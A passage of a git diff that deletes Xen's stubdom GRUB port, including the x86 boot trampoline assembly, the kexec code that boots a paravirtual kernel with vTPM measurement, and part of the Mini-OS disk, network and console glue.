-        .long 0
-
-/*
- * Boot target OS, does not return
- */
-.globl _boot
-_boot:
-        /* Project ourselves at the target place. */
-        movl    _boot_target, %ebx
-        movl    %ebx, %ebp     /* also keep it in ebp for relative addressing */
-        movl    _boot_page_entry_lo, %ecx
-        movl    _boot_page_entry_hi, %edx
-        movl    $2, %esi /* UVMF_INVLPG */
-        movl    $__HYPERVISOR_update_va_mapping, %eax
-        int     $0x82
-        testl   %eax, %eax
-        jz      0f
-        ud2
-
-0:
-        /* Go there. */
-        movl    $(0f - _boot_page), %eax
-        movl    _boot_target, %ebx
-        addl    %ebx, %eax
-        jmpl    *%eax
-0:
-        
-        /* Load target page table and unpin old page table.  */
-        /* We shouldn't have any problem since in the new page table our page is
-           mapped at the same place.  */
-        leal    (_boot_mmuext-_boot_page)(%ebp), %ebx
-        movl    $2, %ecx
-        xorl    %edx, %edx
-        movl    $0x7FF0, %esi /* DOMID_SELF */
-        movl    $__HYPERVISOR_mmuext_op, %eax
-        int     $0x82
-        testl   %eax, %eax
-        jns     0f
-        ud2
-
-0:
-        /* Initialize registers.  */
-        lss     (_boot_stack-_boot_page)(%ebp), %esp
-        movl    (_boot_start_info-_boot_page)(%ebp), %esi
-
-        /* Jump!  */
-        jmpl    *(_boot_start-_boot_page)(%ebp)
diff --git a/stubdom/grub/boot-x86_64.S b/stubdom/grub/boot-x86_64.S
deleted file mode 100644
index 2eae6c3437..0000000000
--- a/stubdom/grub/boot-x86_64.S
+++ /dev/null
@@ -1,108 +0,0 @@
-#include <os.h>
-#include <arch_limits.h>
-#include <xen/arch-x86_64.h>
-
-/* For simplicity, we keep all of this into just one data page */
-.data
-.globl _boot_page
-_boot_page:
-        .align __PAGE_SIZE
-
-/*
- * The following data is initialized from C code
- */
-
-/* Pte of this page */
-.globl _boot_page_entry
-_boot_page_entry:
-        .quad 0
-
-/* mmuext_op structure */
-/* Set new page directory */
-_boot_mmuext:
-        /* Op # */
-        .long MMUEXT_NEW_BASEPTR
-        .long 0 /* pad */
-
-        /* MFN of target page table directory */
-.globl _boot_pdmfn
-_boot_pdmfn:
-        .quad 0
-
-        /* Unused */
-        .quad 0
-
-/* Unpin old page directory */
-        /* Op # */
-        .long MMUEXT_UNPIN_TABLE
-        .long 0 /* pad */
-
-        /* MFN of old page table directory */
-.globl _boot_oldpdmfn
-_boot_oldpdmfn:
-        .quad 0
-
-        /* Unused */
-        .quad 0
-
-/* Target stack address, also target virtual address of this page */
-.globl _boot_stack
-_boot_stack:
-        .quad 0
-.globl _boot_target
-_boot_target:
-        .quad 0
-
-/* Target start info */
-.globl _boot_start_info
-_boot_start_info:
-        .quad 0
-
-/* Target start address */
-.globl _boot_start
-_boot_start:
-        .quad 0
-
-/*
- * Boot target OS, does not return
- */
-.globl _boot
-_boot:
-        /* Project ourselves at the target place. */
-        movq    _boot_target, %rdi
-        movq    _boot_page_entry, %rsi
-        movq    $2, %rdx /* UVMF_INVLPG */
-        movq    $__HYPERVISOR_update_va_mapping, %rax
-        syscall
-        testq   %rax, %rax
-        jz      0f
-        ud2
-
-0:
-        /* Go there. */
-        movq    $(0f - _boot_page), %rax
-        movq    _boot_target, %rbx
-        addq    %rbx, %rax
-        jmpq    *%rax
-0:
-        
-        /* Load target page table and unpin old page table.  */
-        /* We shouldn't have any problem since in the new page table our page is
-           mapped at the same place.  */
-        leaq    _boot_mmuext(%rip), %rdi
-        movq    $2, %rsi
-        xorq    %rdx, %rdx
-        movq    $0x7FF0, %r10 /* DOMID_SELF */
-        movq    $__HYPERVISOR_mmuext_op, %rax
-        syscall
-        testq   %rax, %rax
-        jns     0f
-        ud2
-
-0:
-        /* Initialize registers.  */
-        movq    _boot_stack(%rip), %rsp
-        movq    _boot_start_info(%rip), %rsi
-
-        /* Jump!  */
-        jmpq    *_boot_start(%rip)
diff --git a/stubdom/grub/config.h b/stubdom/grub/config.h
deleted file mode 100644
index 15a6583999..0000000000
--- a/stubdom/grub/config.h
+++ /dev/null
@@ -1,12 +0,0 @@
-#include <stdio.h>
-#undef putchar
-#include <ctype.h>
-#include <string.h>
-#include <kernel.h>
-#define debug _debug
-#define grub_halt(a) do_exit()
-#define printf grub_printf
-void kexec(void *kernel, long kernel_size, void *module, long module_size, char *cmdline, unsigned long flags);
-struct fbfront_dev *fb_open(void *fb, int width, int height, int depth);
-void fb_close(void);
-void pv_boot (void);
diff --git a/stubdom/grub/kexec.c b/stubdom/grub/kexec.c
deleted file mode 100644
index 92646ad8cd..0000000000
--- a/stubdom/grub/kexec.c
+++ /dev/null
@@ -1,434 +0,0 @@
-/*
- * This supports booting another PV kernel from Mini-OS
- *
- * The idea is to setup it using libxc, answer to day0 memory allocation
- * requests, and using a trampoline boot page to switch to the new page table.
- *
- * The procedure of the boot page is:
- * - map itself at the target position (that may overwrite some C stuff, but we
- *   do not care any more)
- * - jump there
- * - switch to the target page table
- * - unpin the old page table
- * - jump to the new kernel
- *
- * Samuel Thibault <Samuel.Thibault@eu.citrix.com>, May 2008
- */
-#include <stdio.h>
-#include <unistd.h>
-#include <stdlib.h>
-#include <sys/mman.h>
-
-#include <xenctrl.h>
-#include <xenguest.h>
-
-#include <kernel.h>
-#include <console.h>
-#include <os.h>
-#include <blkfront.h>
-#include <netfront.h>
-#include <fbfront.h>
-#include <tpmfront.h>
-#include <shared.h>
-#include <byteswap.h>
-
-#include "mini-os.h"
-
-#undef start_info
-
-#if 0
-#define DEBUG(fmt, ...) printk(fmt, ## __VA_ARGS__)
-#else
-#define DEBUG(fmt, ...) (void)0
-#endif
-
-/* Assembly boot page from boot.S */
-extern void _boot_page;
-extern pgentry_t _boot_page_entry;
-extern unsigned long _boot_pdmfn;
-extern unsigned long _boot_stack, _boot_target, _boot_start_info, _boot_start;
-extern xen_pfn_t _boot_oldpdmfn;
-extern void _boot(void);
-
-static unsigned long *pages;
-static unsigned long *pages_mfns;
-static xen_pfn_t *pages_moved2pfns;
-static unsigned long allocated;
-
-int pin_table(xc_interface *xc_handle, unsigned int type, unsigned long mfn,
-              domid_t dom);
-
-#define TPM_TAG_RQU_COMMAND 0xC1
-#define TPM_ORD_Extend 20
-
-struct pcr_extend_cmd {
-	uint16_t tag;
-	uint32_t size;
-	uint32_t ord;
-
-	uint32_t pcr;
-	unsigned char hash[20];
-} __attribute__((packed));
-
-struct pcr_extend_rsp {
-	uint16_t tag;
-	uint32_t size;
-	uint32_t status;
-
-	unsigned char hash[20];
-} __attribute__((packed));
-
-/* Not imported from polarssl's header since the prototype unhelpfully defines
- * the input as unsigned char, which causes pointer type mismatches */
-void sha1(const void *input, size_t ilen, unsigned char output[20]);
-
-/* We need mfn to appear as target_pfn, so exchange with the MFN there */
-static void do_exchange(struct xc_dom_image *dom, xen_pfn_t target_pfn, xen_pfn_t source_mfn)
-{
-    xen_pfn_t source_pfn;
-    xen_pfn_t target_mfn;
-
-    for (source_pfn = 0; source_pfn < start_info_ptr->nr_pages; source_pfn++)
-        if (dom->pv_p2m[source_pfn] == source_mfn)
-            break;
-    ASSERT(source_pfn < start_info_ptr->nr_pages);
-
-    target_mfn = dom->pv_p2m[target_pfn];
-
-    /* Put target MFN at source PFN */
-    dom->pv_p2m[source_pfn] = target_mfn;
-
-    /* Put source MFN at target PFN */
-    dom->pv_p2m[target_pfn] = source_mfn;
-}
-
-int kexec_allocate(struct xc_dom_image *dom)
-{
-    unsigned long new_allocated = dom->pfn_alloc_end - dom->rambase_pfn;
-    unsigned long i;
-
-    pages = realloc(pages, new_allocated * sizeof(*pages));
-    pages_mfns = realloc(pages_mfns, new_allocated * sizeof(*pages_mfns));
-    pages_moved2pfns = realloc(pages_moved2pfns, new_allocated * sizeof(*pages_moved2pfns));
-    for (i = allocated; i < new_allocated; i++) {
-        /* Exchange old page of PFN i with a newly allocated page.  */
-        xen_pfn_t old_mfn = dom->pv_p2m[i];
-        xen_pfn_t new_pfn;
-        xen_pfn_t new_mfn;
-
-        pages[i] = alloc_page();
-        memset((void*) pages[i], 0, PAGE_SIZE);
-        new_pfn = PHYS_PFN(to_phys(pages[i]));
-        pages_mfns[i] = new_mfn = pfn_to_mfn(new_pfn);
-
-	/*
-	 * If PFN of newly allocated page (new_pfn) is less then currently
-	 * requested PFN (i) then look for relevant PFN/MFN pair. In this
-	 * situation dom->pv_p2m[new_pfn] no longer contains proper MFN
-	 * because original page with new_pfn was moved earlier
-	 * to different location.
-	 */
-	for (; new_pfn < i; new_pfn = pages_moved2pfns[new_pfn]);
-
-	/* Store destination PFN of currently requested page. */
-	pages_moved2pfns[i] = new_pfn;
-
-        /* Put old page at new PFN */
-        dom->pv_p2m[new_pfn] = old_mfn;
-
-        /* Put new page at PFN i */
-        dom->pv_p2m[i] = new_mfn;
-    }
-
-    allocated = new_allocated;
-
-    return 0;
-}
-
-/* Filled from mini-os command line or left as NULL */
-char *vtpm_label;
-
-static void tpm_hash2pcr(struct xc_dom_image *dom, char *cmdline)
-{
-	struct tpmfront_dev* tpm = init_tpmfront(NULL);
-	struct pcr_extend_rsp *resp;
-	size_t resplen = 0;
-	struct pcr_extend_cmd cmd;
-	int rv;
-
-	/*
-	 * If vtpm_label was specified on the command line, require a vTPM to be
-	 * attached and for the domain providing the vTPM to have the given
-	 * label.
-	 */
-	if (vtpm_label) {
-		char ctx[128];
-		if (!tpm) {
-			printf("No TPM found and vtpm_label specified, aborting!\n");
-			do_exit();
-		}
-		rv = evtchn_get_peercontext(tpm->evtchn, ctx, sizeof(ctx) - 1);
-		if (rv < 0) {
-			printf("Could not verify vtpm_label: %d\n", rv);
-			do_exit();
-		}
-		ctx[127] = 0;
-		rv = strcmp(ctx, vtpm_label);
-		if (rv && vtpm_label[0] == '*') {
-			int match_len = strlen(vtpm_label) - 1;
-			int offset = strlen(ctx) - match_len;
-			if (offset > 0)
-				rv = strcmp(ctx + offset, vtpm_label + 1);
-		}
-
-		if (rv) {
-			printf("Mismatched vtpm_label: '%s' != '%s'\n", ctx, vtpm_label);
-			do_exit();
-		}
-	} else if (!tpm) {
-		return;
-	}
-
-	cmd.tag = bswap_16(TPM_TAG_RQU_COMMAND);
-	cmd.size = bswap_32(sizeof(cmd));
-	cmd.ord = bswap_32(TPM_ORD_Extend);
-	cmd.pcr = bswap_32(4); // PCR #4 for kernel
-	sha1(dom->kernel_blob, dom->kernel_size, cmd.hash);
-
-	rv = tpmfront_cmd(tpm, (void*)&cmd, sizeof(cmd), (void*)&resp, &resplen);
-	ASSERT(rv == 0 && resp->status == 0);
-
-	cmd.pcr = bswap_32(5); // PCR #5 for cmdline
-	sha1(cmdline, strlen(cmdline), cmd.hash);
-	rv = tpmfront_cmd(tpm, (void*)&cmd, sizeof(cmd), (void*)&resp, &resplen);
-	ASSERT(rv == 0 && resp->status == 0);
-
-	cmd.pcr = bswap_32(5); // PCR #5 for initrd
-	sha1(dom->modules[0].blob, dom->modules[0].size, cmd.hash);
-	rv = tpmfront_cmd(tpm, (void*)&cmd, sizeof(cmd), (void*)&resp, &resplen);
-	ASSERT(rv == 0 && resp->status == 0);
-
-	shutdown_tpmfront(tpm);
-}
-
-void kexec(void *kernel, long kernel_size, void *module, long module_size, char *cmdline, unsigned long flags)
-{
-    struct xc_dom_image *dom;
-    int rc;
-    domid_t domid = DOMID_SELF;
-    xen_pfn_t pfn;
-    xc_interface *xc_handle;
-    unsigned long i;
-    void *seg;
-    xen_pfn_t boot_page_mfn = virt_to_mfn(&_boot_page);
-    char features[] = "";
-    struct mmu_update *m2p_updates;
-    unsigned long nr_m2p_updates;
-    uint64_t virt_base;
-
-    DEBUG("booting with cmdline %s\n", cmdline);
-    xc_handle = xc_interface_open(0,0,0);
-
-    dom = xc_dom_allocate(xc_handle, cmdline, features);
-    dom->allocate = kexec_allocate;
-
-    /* We are using guest owned memory, therefore no limits. */
-    xc_dom_kernel_max_size(dom, 0);
-    xc_dom_module_max_size(dom, 0);
-
-    dom->kernel_blob = kernel;
-    dom->kernel_size = kernel_size;
-
-    xc_dom_module_mem(dom, module, module_size, NULL);
-
-    dom->flags = flags;
-    dom->console_evtchn = start_info_ptr->console.domU.evtchn;
-    dom->xenstore_evtchn = start_info_ptr->store_evtchn;
-
-    tpm_hash2pcr(dom, cmdline);
-
-    if ( (rc = xc_dom_boot_xen_init(dom, xc_handle, domid)) != 0 ) {
-        printk("xc_dom_boot_xen_init returned %d\n", rc);
-        errnum = ERR_BOOT_FAILURE;
-        goto out;
-    }
-    if ( (rc = xc_dom_parse_image(dom)) != 0 ) {
-        printk("xc_dom_parse_image returned %d\n", rc);
-        errnum = ERR_BOOT_FAILURE;
-        goto out;
-    }
-
-#ifdef __i386__
-    if (strcmp(dom->guest_type, "xen-3.0-x86_32p")) {
-        printk("can only boot x86 32 PAE kernels, not %s\n", dom->guest_type);
-        errnum = ERR_EXEC_FORMAT;
-        goto out;
-    }
-#endif
-#ifdef __x86_64__
-    if (strcmp(dom->guest_type, "xen-3.0-x86_64")) {
-        printk("can only boot x86 64 kernels, not %s\n", dom->guest_type);
-        errnum = ERR_EXEC_FORMAT;
-        goto out;
-    }
-#endif
-
-    /* equivalent of xc_dom_mem_init */
-    if (xc_dom_set_arch_hooks(dom)) {
-        printk("xc_dom_set_arch_hooks failed\n");
-        errnum = ERR_EXEC_FORMAT;
-        goto out;
-    }
-    dom->total_pages = start_info_ptr->nr_pages;
-
-    /* equivalent of arch_setup_meminit */
-    dom->p2m_size = dom->total_pages;
-
-    /* setup initial p2m */
-    dom->pv_p2m = malloc(sizeof(*dom->pv_p2m) * dom->p2m_size);
-
-    /* Start with our current P2M */
-    for (i = 0; i < dom->p2m_size; i++)
-        dom->pv_p2m[i] = pfn_to_mfn(i);
-
-    if ( (rc = xc_dom_build_image(dom)) != 0 ) {
-        printk("xc_dom_build_image returned %d\n", rc);
-        errnum = ERR_BOOT_FAILURE;
-        goto out;
-    }
-
-    virt_base = xc_dom_virt_base(dom);
-    /* copy hypercall page */
-    /* TODO: domctl instead, but requires privileges */
-    if (xc_dom_virt_hypercall(dom) != -1) {
-        pfn = PHYS_PFN(xc_dom_virt_hypercall(dom) - virt_base);
-        memcpy((void *) pages[pfn], hypercall_page, PAGE_SIZE);
-    }
-
-    /* Equivalent of xc_dom_boot_image */
-    dom->shared_info_mfn = PHYS_PFN(start_info_ptr->shared_info);
-
-    if (!xc_dom_compat_check(dom)) {
-        printk("xc_dom_compat_check failed\n");
-        errnum = ERR_EXEC_FORMAT;
-        goto out;
-    }
-
-    /* Move current console, xenstore and boot MFNs to the allocated place */
-    do_exchange(dom, dom->console_pfn, start_info_ptr->console.domU.mfn);
-    do_exchange(dom, dom->xenstore_pfn, start_info_ptr->store_mfn);
-    DEBUG("virt base at %llx\n", virt_base);
-    DEBUG("bootstack_pfn %lx\n", dom->bootstack_pfn);
-    _boot_target = virt_base + PFN_PHYS(dom->bootstack_pfn);
-    DEBUG("_boot_target %lx\n", _boot_target);
-    do_exchange(dom, PHYS_PFN(_boot_target - virt_base),
-            virt_to_mfn(&_boot_page));
-
-    if ( dom->arch_hooks->setup_pgtables )
-        if ( (rc = dom->arch_hooks->setup_pgtables(dom))) {
-            printk("setup_pgtables returned %d\n", rc);
-            errnum = ERR_BOOT_FAILURE;
-            goto out;
-        }
-
-    /* start info page */
-    if ( dom->arch_hooks->start_info )
-        dom->arch_hooks->start_info(dom);
-
-    xc_dom_log_memory_footprint(dom);
-
-    /* Unmap libxc's projection of the boot page table */
-    seg = xc_dom_seg_to_ptr(dom, &dom->pgtables_seg);
-    munmap(seg, dom->pgtables_seg.vend - dom->pgtables_seg.vstart);
-    seg = xc_dom_seg_to_ptr(dom, &dom->p2m_seg);
-    munmap(seg, dom->p2m_seg.vend - dom->p2m_seg.vstart);
-
-    /* Unmap day0 pages to avoid having a r/w mapping of the future page table */
-    for (pfn = 0; pfn < allocated; pfn++)
-        munmap((void*) pages[pfn], PAGE_SIZE);
-
-    /* Pin the boot page table base */
-    if ( (rc = pin_table(dom->xch,
-#ifdef __i386__
-                MMUEXT_PIN_L3_TABLE,
-#endif
-#ifdef __x86_64__
-                MMUEXT_PIN_L4_TABLE,
-#endif
-                xc_dom_p2m(dom, dom->pgtables_seg.pfn),
-                dom->guest_domid)) != 0 ) {
-        printk("pin_table(%lx) returned %d\n", xc_dom_p2m(dom,
-               dom->pgtables_seg.pfn), rc);
-        errnum = ERR_BOOT_FAILURE;
-        goto out_remap;
-    }
-
-    /* We populate the Mini-OS page table here so that boot.S can just call
-     * update_va_mapping to project itself there.  */
-    need_pgt(_boot_target);
-    DEBUG("day0 pages %lx\n", allocated);
-    DEBUG("boot target page %lx\n", _boot_target);
-    DEBUG("boot page %p\n", &_boot_page);
-    DEBUG("boot page mfn %lx\n", boot_page_mfn);
-    _boot_page_entry = PFN_PHYS(boot_page_mfn) | L1_PROT;
-    DEBUG("boot page entry %llx\n", _boot_page_entry);
-    _boot_oldpdmfn = virt_to_mfn(start_info_ptr->pt_base);
-    DEBUG("boot old pd mfn %lx\n", _boot_oldpdmfn);
-    DEBUG("boot pd virt %lx\n", dom->pgtables_seg.vstart);
-    _boot_pdmfn = dom->pv_p2m[PHYS_PFN(dom->pgtables_seg.vstart - virt_base)];
-    DEBUG("boot pd mfn %lx\n", _boot_pdmfn);
-    _boot_stack = _boot_target + PAGE_SIZE;
-    DEBUG("boot stack %lx\n", _boot_stack);
-    _boot_start_info = virt_base + PFN_PHYS(dom->start_info_pfn);
-    DEBUG("boot start info %lx\n", _boot_start_info);
-    _boot_start = xc_dom_virt_entry(dom);
-    DEBUG("boot start %lx\n", _boot_start);
-
-    /* Keep only useful entries */
-    for (nr_m2p_updates = pfn = 0; pfn < start_info_ptr->nr_pages; pfn++)
-        if (dom->pv_p2m[pfn] != pfn_to_mfn(pfn))
-            nr_m2p_updates++;
-
-    m2p_updates = malloc(sizeof(*m2p_updates) * nr_m2p_updates);
-    for (i = pfn = 0; pfn < start_info_ptr->nr_pages; pfn++)
-        if (dom->pv_p2m[pfn] != pfn_to_mfn(pfn)) {
-            m2p_updates[i].ptr = PFN_PHYS(dom->pv_p2m[pfn]) | MMU_MACHPHYS_UPDATE;
-            m2p_updates[i].val = pfn;
-            i++;
-        }
-
-    for (i = 0; i < blk_nb; i++)
-        shutdown_blkfront(blk_dev[i]);
-    if (net_dev)
-        shutdown_netfront(net_dev);
-    if (kbd_dev)
-        shutdown_kbdfront(kbd_dev);
-    stop_kernel();
-
-    /* Update M2P */
-    if ((rc = HYPERVISOR_mmu_update(m2p_updates, nr_m2p_updates, NULL, DOMID_SELF)) < 0) {
-        xprintk("Could not update M2P\n");
-        ASSERT(0);
-    }
-
-    xprintk("go!\n");
-
-    /* Jump to trampoline boot page */
-    _boot();
-
-    ASSERT(0);
-
-out_remap:
-    for (pfn = 0; pfn < allocated; pfn++)
-        do_map_frames(pages[pfn], &pages_mfns[pfn], 1, 0, 0, DOMID_SELF, 0, L1_PROT);
-out:
-    xc_dom_release(dom);
-    for (pfn = 0; pfn < allocated; pfn++)
-        free_page((void*)pages[pfn]);
-    free(pages);
-    free(pages_mfns);
-    pages = NULL;
-    pages_mfns = NULL;
-    allocated = 0;
-    xc_interface_close(xc_handle );
-}
diff --git a/stubdom/grub/mini-os.c b/stubdom/grub/mini-os.c
deleted file mode 100644
index 4fc052a255..0000000000
--- a/stubdom/grub/mini-os.c
+++ /dev/null
@@ -1,771 +0,0 @@
-/*
- * Mini-OS support for GRUB.
- *
- * Samuel Thibault <Samuel.Thibault@eu.citrix.com>, May 2008
- */
-#include <sys/types.h>
-#include <sys/time.h>
-#include <stdarg.h>
-#include <stdlib.h>
-#include <malloc.h>
-#include <unistd.h>
-
-#include <hypervisor.h>
-#include <blkfront.h>
-#include <netfront.h>
-#include <fbfront.h>
-#include <semaphore.h>
-
-#include <osdep.h>
-#include <shared.h>
-#include <nic.h>
-#include <etherboot.h>
-#include <terminfo.h>
-#include <term.h>
-
-#include "mini-os.h"
-
-extern const char *preset_menu;
-char config_file[DEFAULT_FILE_BUFLEN] = "(hd0,0)/boot/grub/menu.lst";
-unsigned long boot_drive = NETWORK_DRIVE;
-unsigned long install_partition = 0xFFFFFF;
-
-char version_string[] = VERSION;
-
-/* Variables from asm.S */
-int saved_entryno;
-
-/*
- * Disk
- */
-
-struct blkfront_dev **blk_dev;
-int blk_nb;
-static struct blkfront_info *blk_info;
-
-static int vbdcmp(const void *_vbd1, const void *_vbd2) {
-    char *vbd1 = *(char **)_vbd1;
-    char *vbd2 = *(char **)_vbd2;
-    int vbdn1 = atoi(vbd1);
-    int vbdn2 = atoi(vbd2);
-    return vbdn1 - vbdn2;
-}
-
-void init_disk (void)
-{
-    char **list;
-    char *msg;
-    int i;
-    char *path;
-
-    msg = xenbus_ls(XBT_NIL, "device/vbd", &list);
-    if (msg) {
-        printk("Error %s while reading list of disks\n", msg);
-        free(msg);
-        return;
-    }
-    blk_nb = 0;
-    while (list[blk_nb])
-        blk_nb++;
-    blk_dev = malloc(blk_nb * sizeof(*blk_dev));
-    blk_info = malloc(blk_nb * sizeof(*blk_info));
-
-    qsort(list, blk_nb, sizeof(*list), vbdcmp);
-
-    for (i = 0; i < blk_nb; i++) {
-        printk("vbd %s is hd%d\n", list[i], i);
-        asprintf(&path, "device/vbd/%s", list[i]);
-        blk_dev[i] = init_blkfront(path, &blk_info[i]);
-        free(path);
-        free(list[i]);
-    }
-}
-
-/* Return the geometry of DRIVE in GEOMETRY. If an error occurs, return
-   non-zero, otherwise zero.  */
-int get_diskinfo (int drive, struct geometry *geometry)
-{
-    int i;
-    if (!(drive & 0x80))
-        return -1;
-
-    i = drive - 0x80;
-    if (i >= blk_nb)
-        return -1;
-
-    /* Bogus geometry */
-    geometry->cylinders = 65535;
-    geometry->heads = 255;
-    geometry->sectors = 63;
-
-    geometry->total_sectors = blk_info[i].sectors;
-    geometry->sector_size = blk_info[i].sector_size;
-    geometry->flags = BIOSDISK_FLAG_LBA_EXTENSION;
-    if (blk_info[i].info & VDISK_CDROM)
-        geometry->flags |= BIOSDISK_FLAG_CDROM;
-    return 0;
-}
-
-/* Read/write NSEC sectors starting from SECTOR in DRIVE disk with GEOMETRY
-   from/into SEGMENT segment. If READ is BIOSDISK_READ, then read it,
-   else if READ is BIOSDISK_WRITE, then write it. If an geometry error
-   occurs, return BIOSDISK_ERROR_GEOMETRY, and if other error occurs, then
-   return the error number. Otherwise, return 0.  */
-int
-biosdisk (int read, int drive, struct geometry *geometry,
-          unsigned int sector, int nsec, int segment)
-{
-    void *addr = (void *) ((unsigned long)segment << 4);
-    struct blkfront_aiocb aiocb;
-    int i;
-
-    if (!(drive & 0x80))
-        return -1;
-
-    i = drive - 0x80;
-    if (i >= blk_nb)
-        return -1;
-
-    if (sector + nsec > geometry->total_sectors)
-      return -1;
-
-    aiocb.aio_dev = blk_dev[i];
-    aiocb.aio_buf = addr;
-    aiocb.aio_nbytes = (size_t)nsec * blk_info[i].sector_size;
-    aiocb.aio_offset = (off_t)sector * blk_info[i].sector_size;
-    aiocb.aio_cb = NULL;
-
-    blkfront_io(&aiocb, read == BIOSDISK_WRITE);
-
-    return 0;
-}
-
-static int
-load_file(char *name, void **ptr, long *size)
-{
-    char *buf = NULL;
-    int allocated = 1 * 1024 * 1024;
-    int len, filled = 0;
-
-    if (!grub_open (name))
-        return -1;
-
-    buf = malloc(allocated);
-
-    errnum = 0;
-    while (1) {
-        len = grub_read (buf + filled, allocated - filled);
-        if (! len) {
-            if (!errnum)
-                break;
-            grub_close ();
-            return -1;
-        }
-        filled += len;
-        if (filled < allocated)
-            break;
-        allocated *= 2;
-        buf = realloc(buf, allocated);
-    }
-    grub_close ();
-    *ptr = buf;
-    *size = filled;
-    return 0;
-}
-
-void *kernel_image, *module_image;
-long  kernel_size, module_size;
-char *kernel_arg, *module_arg;
-void *multiboot_next_module;
-struct xen_multiboot_mod_list *multiboot_next_module_header;
-
-kernel_t
-load_image (char *kernel, char *arg, kernel_t suggested_type,
-            unsigned long load_flags)
-{
-    arg = skip_to(0, arg);
-    if (kernel_image)
-        free(kernel_image);
-    kernel_image = NULL;
-    if (load_file (kernel, &kernel_image, &kernel_size))
-        return KERNEL_TYPE_NONE;
-    if (kernel_arg)
-        free(kernel_arg);
-    kernel_arg = strdup(arg);
-    return KERNEL_TYPE_PV;
-}
-
-int
-load_initrd (char *initrd)
-{
-    if (module_image)
-        free(module_image);
-    module_image = NULL;
-    multiboot_next_module = NULL;
-    multiboot_next_module_header = NULL;
-    load_file (initrd, &module_image, &module_size);
-    return ! errnum;
-}
-
-int
-load_module (char *module, char *arg)
-{
-    void *new_module, *new_module_image;
-    long new_module_size, rounded_new_module_size;
-
-    if (load_file (module, &new_module, &new_module_size))
-        return 0;
-    if (strlen(arg) >= PAGE_SIZE) {
-        /* Too big module command line */
-        errnum = ERR_WONT_FIT;
-        return 0;
-    }
-    rounded_new_module_size = (new_module_size + PAGE_SIZE - 1) & PAGE_MASK;
-
-    if (module_image && !multiboot_next_module_header) {
-        /* Initrd already loaded, drop it */
-        free(module_image);
-        if (module_arg)
-            free(module_arg);
-        module_image = NULL;
-    }
-    if (!module_image)
-        /* Reserve one page for the header */
-        multiboot_next_module = (void*) PAGE_SIZE;
-
-    /* Allocate more room for the new module plus its arg */
-    new_module_image = realloc(module_image,
-            (multiboot_next_module - module_image) + rounded_new_module_size + PAGE_SIZE);
-
-    /* Update pointers */
-    multiboot_next_module += new_module_image - module_image;
-    multiboot_next_module_header = (void*) multiboot_next_module_header + (new_module_image - module_image);
-    module_image = new_module_image;
-
-    if ((void*) (multiboot_next_module_header+1) - module_image > PAGE_SIZE) {
-        /* Too many modules */
-        errnum = ERR_WONT_FIT;
-        return 0;
-    }
-
-    /* Copy module */
-    memcpy(multiboot_next_module, new_module, new_module_size);
-    multiboot_next_module_header->mod_start = multiboot_next_module - module_image;
-    multiboot_next_module_header->mod_end = multiboot_next_module_header->mod_start + new_module_size - 1;
-    multiboot_next_module += rounded_new_module_size;
-
-    /* Copy cmdline */
-    strcpy(multiboot_next_module, arg);
-    multiboot_next_module_header->cmdline = multiboot_next_module - module_image;
-    multiboot_next_module += PAGE_SIZE;
-
-    /* Pad */
-    multiboot_next_module_header->pad = 0;
-
-    multiboot_next_module_header++;
-
-    return 1;
-}
-
-void
-pv_boot (void)
-{
-    unsigned long flags = 0;
-    if (multiboot_next_module_header) {
-        /* Termination entry */
-        multiboot_next_module_header->mod_start = 0;
-        /* Total size */
-        module_size = multiboot_next_module - module_image;
-        /* It's a multiboot module */
-        flags |= SIF_MULTIBOOT_MOD;
-    }
-    kexec(kernel_image, kernel_size, module_image, module_size, kernel_arg, flags);
-}
-
-/*
- * Network
- */
-
-struct netfront_dev *net_dev;
-
-int
-minios_probe (struct nic *nic)
-{
-    char *ip;
-
-    if (net_dev)
-        return 1;
-
-    /* Clear the ARP table.  */
-    grub_memset ((char *) arptable, 0,
-                 MAX_ARP * sizeof (struct arptable_t));
-
-    net_dev = init_netfront(NULL, (void*) -1, nic->node_addr, &ip);
-    if (!net_dev)
-        return 0;
-
-    return 1;
-}
-
-/* reset adapter */
-static void minios_reset(struct nic *nic)
-{
-    /* TODO? */
-}
-
-static void minios_disable(struct nic *nic)
-{
-}
-
-/* Wait for a frame */
-static int minios_poll(struct nic *nic)
-{
-    return !! (nic->packetlen = netfront_receive(net_dev, (void*) nic->packet, ETH_FRAME_LEN));
-}
-
-/* Transmit a frame */
-struct frame {
-        uint8_t dest[ETH_ALEN];
-        uint8_t src[ETH_ALEN];
-        uint16_t type;
-        unsigned char data[];
-};
-static void minios_transmit (struct nic *nic, const char *d, unsigned int t,
-                             unsigned int s, const char *p)
-{
-    struct frame *frame = alloca(sizeof(*frame) + s);
-
-    memcpy(frame->dest, d, ETH_ALEN);
-    memcpy(frame->src, nic->node_addr, ETH_ALEN);
-    frame->type = htons(t);
-    memcpy(frame->data, p, s);
-
-    netfront_xmit(net_dev, (void*) frame, sizeof(*frame) + s);
-}
-
-static char packet[ETH_FRAME_LEN];
-
-struct nic nic = {
-    .reset = minios_reset,
-    .poll = minios_poll,
-    .transmit = minios_transmit,
-    .disable = minios_disable,
-    .flags = 0,
-    .rom_info = NULL,
-    .node_addr = arptable[ARP_CLIENT].node,
-    .packet = packet,
-    .packetlen = 0,
-    .priv_data = NULL,
-};
-
-int
-eth_probe (void)
-{
-    return minios_probe(&nic);
-}
-
-int
-eth_poll (void)
-{
-    return minios_poll (&nic);
-}
-
-void
-eth_disable (void)
-{
-    minios_disable (&nic);
-}
-
-void
-eth_transmit (const char *d, unsigned int t,
-              unsigned int s, const void *p)
-{
-    minios_transmit (&nic, d, t, s, p);
-    if (t == IP)
-        twiddle();
-}
-
-/*
- * Console
- */
-void
-serial_hw_put (int _c)
-{
-  char c = _c;
-  console_print(NULL, &c, 1);
-}
-
-int
-serial_hw_fetch (void)
-{
-    char key;
-
-    if (!xencons_ring_avail(NULL))
-        return -1;
-
-    read(STDIN_FILENO, &key, 1);
-    switch (key) {
-    case 0x7f: key = '\b'; break;
-    }
-    return key;
-}
-
-/*
- * PVFB
- */
-struct kbdfront_dev *kbd_dev;
-struct fbfront_dev *fb_dev;
-static union xenkbd_in_event ev;
-static int has_ev;
-int console_checkkey (void)
-{
-    if (has_ev)
-        return 1;
-    has_ev = kbdfront_receive(kbd_dev, &ev, 1);
-    return has_ev;
-}
-
-/* static QWERTY layout, that's what most PC BIOSes do anyway */
-static char linux2ascii[] = {
-    [ 1 ] = 27,
-    [ 2 ] = '1',
-    [ 3 ] = '2',
-    [ 4 ] = '3',
-    [ 5 ] = '4',
-    [ 6 ] = '5',
-    [ 7 ] = '6',
-    [ 8 ] = '7',
-    [ 9 ] = '8',
-    [ 10 ] = '9',
